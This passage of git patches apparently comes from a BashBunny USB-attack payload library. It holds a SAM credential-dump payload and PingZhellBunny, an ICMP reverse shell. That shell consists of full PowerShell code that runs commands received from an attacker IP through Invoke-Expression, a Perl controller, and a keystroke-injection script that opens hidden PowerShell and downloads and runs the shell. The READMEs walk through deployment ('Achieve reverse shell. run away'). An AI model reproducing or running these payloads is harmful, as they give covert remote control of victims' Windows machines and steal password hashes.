"AG0AbwB2AGUALQBpAHQAZQBtACAAQgB1AG4AbgB5AFMAYQBtADsAZQB4AGkAdAA=" +Q DELAY 250 +Q STRING ";mv SamDumpBunny.zip ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');\$bb = (gwmi win32_volume -f 'l" +Q DELAY 250 +Q STRING "abel=''BashBunny''').Name;Start-Sleep 1;New-Item -ItemType file \$bb'DONE';Start-Sleep 3;(New-Object -comObject Shel" +Q DELAY 250 +Q STRING "l.Application).Namespace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" +Q DELAY 300 +Q ENTER + +LED FINISH \ No newline at end of file From d7c97aabe8e66d09bc56ce89c04dc9b6b3b11ce8 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 2 Jul 2022 17:17:04 +0200 Subject: [PATCH 52/59] added Disclaimer Added disclaimer about samdump2 --- payloads/library/credentials/SamDumpBunny/README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/payloads/library/credentials/SamDumpBunny/README.md b/payloads/library/credentials/SamDumpBunny/README.md index 7d023d7e..683fd00d 100644 --- a/payloads/library/credentials/SamDumpBunny/README.md +++ b/payloads/library/credentials/SamDumpBunny/README.md @@ -15,7 +15,10 @@ Afterwards you can use a tool like samdump2 to extract the users hashes.

    2. Unzip the exfiltrated zip file onto your machine. -3. Use a tool like samdump2 on your machine to extract the users hashes. +3. Use a tool like samdump2 or pypykatz on your machine to extract the users hashes. > `samdump2 BunnySys BunnySam` + or `pypykatz registry BunnySys --sam BunnySam` + + **!Disclaimer! samdump2 has proven to be unreliable in the recent past.** -![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) \ No newline at end of file +![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) From caafcfb103961ed6e21648bf7d29e757b273f7f3 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:24:26 +0200 Subject: [PATCH 53/59] Update Bunny.pl --- .../library/remote_access/PingZhellBunny/Bunny.pl | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl index a00eb064..db560e52 100644 --- a/payloads/library/remote_access/PingZhellBunny/Bunny.pl +++ b/payloads/library/remote_access/PingZhellBunny/Bunny.pl @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . # -# Modified by 0iphor13 for PingZhell +# Modified by 0iphor13 for PingZhellCable # # # @@ -29,7 +29,7 @@ use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; -print "Bunny waitin' for connection...\n"; +print "Loading PingZhellBunny...\n"; # create raw socket my $sock = IO::Socket::INET->new( @@ -40,8 +40,16 @@ my $sock = IO::Socket::INET->new( # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; -print "Let's wait for PingZhell!\n"; +#Unnecessary print output - just for fun +sleep(2); +print ". .\n"; +sleep(1); +print ". . ."; +sleep(1); +print ". . . ."; +sleep(2); +print "PingZhellBunny client ready!\n"; my $input = ''; while(1) { if ($sock->recv(my $buffer, 4096, 0)) { From cad1abe00b6e588c4909010df2ef1f7cf8c9df7c Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:25:53 +0200 Subject: [PATCH 54/59] Update and rename PingZhell.ps1 to PingZhellBunny.ps1 --- .../PingZhellBunny/PingZhell.ps1 | 86 ------------------- .../PingZhellBunny/PingZhellBunny.ps1 | 10 +++ 2 files changed, 10 insertions(+), 86 deletions(-) delete mode 100644 payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 create mode 100644 payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 diff --git a/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 b/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 deleted file mode 100644 index 2687d299..00000000 --- a/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 +++ /dev/null @@ -1,86 +0,0 @@ - -<# - -Original script by nishang - modified by 0iphor13 for PingZhell - -Use bunny.pl as a master - -When running the master, don't forget to disable ICMP replies by the OS. For example: -$: sysctl -w net.ipv4.icmp_echo_ignore_all=1 -Then: -$: perl bunny.pl - -Microsoft please don't block, oh dear microsoft corporation -#> - - - $IPAddress = 'Attacker-IP' - $Delay = 5 - $BufferSize = 128 - - #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response - $ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping - $PingOptions = New-Object System.Net.NetworkInformation.PingOptions - $PingOptions.DontFragment = $True - $MicrosoftCopyright =@" - _______ ___ __ _ _______ _______ __ __ _______ ___ ___ -| | | | | | | | | | | | | | | -| _ | | |_| | ___|____ | |_| | ___| | | | -| |_| | | | | __ ____| | | |___| | | | -| ___| | _ | || | ______| | ___| |___| |___ -| | | | | | | |_| | |_____| _ | |___| | | -|___| |___|_| |__|_______|_______|__| |__|_______|_______|_______| - - -Windows PowerShell running as user $env:username on $env:computername `n -"@; - - # Copyright Copies Right - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright) - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - - #Does a german penguin just PingUin? - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - - while ($true) - { - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('') - $reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) - - if ($reply.Buffer) - { - $response = ([text.encoding]::ASCII).GetString($reply.Buffer) - $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result) - $index = [math]::floor($NeverGonnaGiveYouUp.length/$BufferSize) - $i = 0 - - #Fragmant larger output into smaller ones to send to the server. - if ($NeverGonnaGiveYouUp.length -gt $BufferSize) - { - while ($i -lt $index ) - { - $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)] - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null - $i +=1 - } - $remainingindex = $NeverGonnaGiveYouUp.Length % $BufferSize - if ($remainingindex -ne 0) - { - $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)] - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null - } - } - else - { - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - } - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - } - else - { - Start-Sleep -Seconds $Delay - } - } diff --git a/payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 b/payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 new file mode 100644 index 00000000..5f9ddbac --- /dev/null +++ b/payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 @@ -0,0 +1,10 @@ +$Delay=5; +$BufferSize=128; +$ICMPBunny=New-Object System.Net.NetworkInformation.Ping; +$PingBB=New-Object System.Net.NetworkInformation.PingOptions; +$PingBB.DontFragment = $True;$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('Bunny@PS '+(gl).Path+'> '); +$ICMPBunny.Send($IP,60 * 1000, $NeverGonnaGiveYouUp, $PingBB) | Out-Null;while ($true){$NeverGonnaGiveYouUp=([text.encoding]::ASCII).GetBytes(''); +$reply=$ICMPBunny.Send($IP,60 * 1000, $NeverGonnaGiveYouUp, $PingBB);if ($reply.Buffer){$response=([text.encoding]::ASCII).GetString($reply.Buffer); +$result=(Invoke-eXprEssIon -Command $response 2>&1 | Out-String );$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result);$index=[math]::floor($NeverGonnaGiveYouUp.length/$BufferSize);$i = 0;if($NeverGonnaGiveYouUp.length -gt $BufferSize){while ($i -lt $index ){$NGGYU2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)];$ICMPBunny.Send($IP,60 * 10000, $NGGYU2, $PingBB) | Out-Null;$i +=1;}; +$remainingindex=$NeverGonnaGiveYouUp.Length % $BufferSize;if($remainingindex -ne 0){$NGGYU2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)];$ICMPBunny.Send($IP,60 * 10000, $NGGYU2, $PingBB) | Out-Null}}else{$ICMPBunny.Send($IP,60 * 10000, $NeverGonnaGiveYouUp, $PingBB) | Out-Null};$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nO.MG@PS " + (pwd).Path + '> '); +$ICMPBunny.Send($IP,60 * 1000, $NeverGonnaGiveYouUp, $PingBB) | Out-Null}else{Start-Sleep -Seconds $Delay}} From a991cd7af49ba339c1ee813e9fc26306c7902733 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:26:40 +0200 Subject: [PATCH 55/59] Update payload.txt --- .../remote_access/PingZhellBunny/payload.txt | 45 ++++++++++--------- 1 file changed, 25 insertions(+), 20 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index 2b62fa78..b21d67b2 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -1,39 +1,44 @@ #!/bin/bash # -# Title: PingZhellBunny -# Description: Get remote access using a icmp reverse shell. +# Title: ReverseBunnySSL +# Description: Get remote access, using an obfuscated powershell reverse shell. # Author: 0iphor13 -# Version: 1.3 +# Version: 1.5 # Category: Remote_Access -# Attackmodes: HID, Storage +# Attackmodes: HID, RNDIS_ETHERNET LED SETUP - -Q DELAY 500 +ATTACKMODE RNDIS_ETHERNET HID GET SWITCH_POSITION -DUCKY_LANG de +GET HOST_IP -Q DELAY 500 +cd /root/udisk/payloads/$SWITCH_POSITION/ -ATTACKMODE HID STORAGE +# starting server +LED SPECIAL -#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & -LED STAGE1 +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done -#After you have adapted the delays for your target, add "-W hidden" +#Opens hidden powershell instance Q DELAY 1500 -RUN WIN "powershell -Exec Bypass -NoP -NonI" +Q GUI r +Q DELAY 500 +Q STRING "powershell -NoP -NonI -w h" Q DELAY 500 Q ENTER -Q DELAY 1000 -Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\PingZhell.ps1')" -Q DELAY 3000 +Q DELAY 500 + +#Insert attacking IP +Q STRING "\$IP = '0.0.0.0';" +Q DELAY 250 +Q STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/PingZhellBunny.ps1\")" +Q DELAY 400 Q ENTER -Q DELAY 1000 - -ATTACKMODE HID - LED FINISH From 9494ab8d2e3b922fe31e1e1f21633ea3a1a31588 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:29:26 +0200 Subject: [PATCH 56/59] Update README.md --- .../remote_access/PingZhellBunny/README.md | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index ac8ccd9f..d2f9309e 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -1,19 +1,19 @@ **Title: PingZhellBunny** -Author: 0iphor13 +

    Author: 0iphor13
    +OS: Windows
    +Version: 1.5
    -Version: 1.3 - -What is PingZhellBunny? +**What is PingZhellBunny?** # *Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).* *But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.* *ICMP stands for Internet Control Message Protocol; it is used by network devicesā€™ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.* *When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.* -*The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.* -*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (PingZhell.ps1) and sends it commands to execute.* +*The client ICMP agent listens for ICMP packets from a specific host and uses the data in the packet for command execution.* +*The server ICMP agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (PingZhellBunny input) and sends it commands to execute.* # -There you go, a reverse shell. +There you go, a reverse shell without the usage of ports. **Instruction:** @@ -26,16 +26,16 @@ Install dependencies, if needed: Disable ICMP replies by the OS: `sysctl -w net.ipv4.icmp_echo_ignore_all=1` -Start Bunny.pl -> perl Bunny.pl -# -!!!Insert the IP of your attacking machine into PingZhell.ps1!!! -# -

    Plug in Bashbunny with PingZhellBunny equipped.
    +Start the client -> `perl Bunny.pl` + +

    !!!Insert the IP of your attacking machine into the payload variable $IP!!!
    + +

    Plug in your BashBunny.
    Achieve reverse shell.
    run away <3

    Credit for code and ideas: - bdamele -- samratashok +- Nikhil Mittal - krabelize From 0c39fffbf290f1f04a22aa0e378a916ffec8d878 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:30:42 +0200 Subject: [PATCH 57/59] Update payload.txt --- payloads/library/remote_access/PingZhellBunny/payload.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index b21d67b2..2690061a 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -1,7 +1,7 @@ #!/bin/bash # -# Title: ReverseBunnySSL -# Description: Get remote access, using an obfuscated powershell reverse shell. +# Title: PingZhellBunny +# Description: Getting remote access via ICMP # Author: 0iphor13 # Version: 1.5 # Category: Remote_Access From 427150a0dce7180c0706acfd9ed14bfc49f33af4 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:32:24 +0200 Subject: [PATCH 58/59] Update Bunny.pl --- payloads/library/remote_access/PingZhellBunny/Bunny.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/PingZhellBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl index db560e52..4bac2738 100644 --- a/payloads/library/remote_access/PingZhellBunny/Bunny.pl +++ b/payloads/library/remote_access/PingZhellBunny/Bunny.pl @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . # -# Modified by 0iphor13 for PingZhellCable +# Modified by 0iphor13 for PingZhellBunny # # # From a035d268c4bc941255fad88e25ddab8076ac97d2 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 19 Oct 2022 18:36:48 +0200 Subject: [PATCH 59/59] Update README.md --- payloads/library/remote_access/PingZhellBunny/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index d2f9309e..6b190001 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -28,7 +28,7 @@ Disable ICMP replies by the OS: Start the client -> `perl Bunny.pl` -

    !!!Insert the IP of your attacking machine into the payload variable $IP!!!
    +

    !!!Insert the IP of your attacking machine into the payload.txt variable $IP & Load PingZhellBunny.ps1 onto your Bunny!!!

    Plug in your BashBunny.
    Achieve reverse shell.